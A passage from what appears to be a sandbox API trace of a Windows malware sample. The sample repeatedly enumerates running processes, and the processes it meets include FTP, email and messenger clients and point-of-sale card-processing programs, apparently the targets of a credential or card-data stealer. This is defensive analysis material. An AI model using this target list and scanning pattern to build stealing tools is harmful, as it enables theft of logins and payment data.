th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0247.983] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0247.985] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0247.988] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0247.990] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0247.992] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0247.995] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0247.997] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0247.999] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0248.001] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0248.052] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0248.054] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0248.056] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0248.057] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0248.059] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0248.061] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0248.063] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0248.066] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0248.068] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0248.070] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0248.073] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0248.074] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0248.076] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0248.078] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0248.080] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0248.082] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0248.085] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0248.087] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0248.089] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0248.091] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0248.092] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0248.094] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0248.095] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0248.148] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0248.150] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0248.153] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0248.154] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0248.156] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0248.158] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0248.161] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0248.163] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0248.164] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0248.166] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0248.168] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0248.169] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0248.171] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.172] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.174] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0248.177] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0248.179] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0248.181] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0248.184] CloseHandle (hObject=0x13b0) returned 1 [0248.184] Sleep (dwMilliseconds=0x64) [0248.225] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0248.241] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.243] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.245] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.247] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.249] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.251] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.272] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.275] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.277] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.279] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.281] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.282] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.335] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.337] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.339] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.341] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.343] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.345] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.347] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.349] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.352] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0248.354] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0248.356] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.358] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.359] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0248.361] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0248.364] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0248.366] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.368] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0248.369] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0248.371] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.373] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0248.375] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0248.377] Process32Next (in: 